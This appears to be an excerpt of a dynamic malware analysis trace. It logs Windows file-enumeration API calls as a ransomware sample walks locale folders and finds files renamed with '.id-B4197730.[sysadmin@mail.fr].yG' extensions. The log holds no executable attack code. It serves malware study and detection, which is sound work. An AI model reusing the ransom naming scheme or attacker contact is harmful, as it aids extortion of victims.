	[0178.948] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9920498c, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9920498c, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9935bf1c, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.948] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98939f78, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98939f78, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a44fd4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.948] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98939f78, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98939f78, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a44fd4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.948] FindClose (in: hFindFile=0x3cf08e8 | out: hFindFile=0x3cf08e8) returned 1
	[0178.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.949] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1042", cAlternateFileName="")) returned 1
	[0178.949] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.949] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf1068
	[0178.950] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.950] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9922acae, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9922acae, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x992c4723, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.951] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99250e61, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99250e61, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9929d2de, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.951] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98960125, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98960125, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a6b29d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.951] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98960125, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98960125, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a6b29d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.951] FindClose (in: hFindFile=0x3cf1068 | out: hFindFile=0x3cf1068) returned 1
	[0178.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.952] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1043", cAlternateFileName="")) returned 1
	[0178.952] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.952] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0a28
	[0178.953] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.953] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9938231b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9938231b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99466f1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.953] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9938231b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9938231b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99466f1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.953] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98be8ab5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.953] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98be8ab5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.953] FindClose (in: hFindFile=0x3cf0a28 | out: hFindFile=0x3cf0a28) returned 1
	[0178.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.954] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1044", cAlternateFileName="")) returned 1
	[0178.954] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.954] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf1068
	[0178.955] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.956] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x993a836e, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x993a836e, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x995be558, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.960] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9938231b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9938231b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9941aa89, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.960] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a6b29d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a6b29d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b29e07, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.960] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a6b29d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a6b29d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b29e07, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.960] FindClose (in: hFindFile=0x3cf1068 | out: hFindFile=0x3cf1068) returned 1
	[0178.961] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.961] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1045", cAlternateFileName="")) returned 1
	[0178.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.961] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0da8
	[0178.962] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.962] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9941aa89, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9941aa89, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99715aa1, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.962] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99466f1e, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99466f1e, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9973bbef, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.962] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a6b29d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a6b29d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98c34ed2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.962] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a6b29d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a6b29d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98c34ed2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.962] FindClose (in: hFindFile=0x3cf0da8 | out: hFindFile=0x3cf0da8) returned 1
	[0178.963] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.963] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1046", cAlternateFileName="")) returned 1
	[0178.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.963] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0c68
	[0178.964] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.964] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9948d540, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9948d540, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99715aa1, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.965] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x995be558, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x995be558, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99656df0, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.965] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b03b8f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.965] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b03b8f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.965] FindClose (in: hFindFile=0x3cf0c68 | out: hFindFile=0x3cf0c68) returned 1
	[0178.966] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.966] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1049", cAlternateFileName="")) returned 1
	[0178.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.966] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0fa8
	[0178.967] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
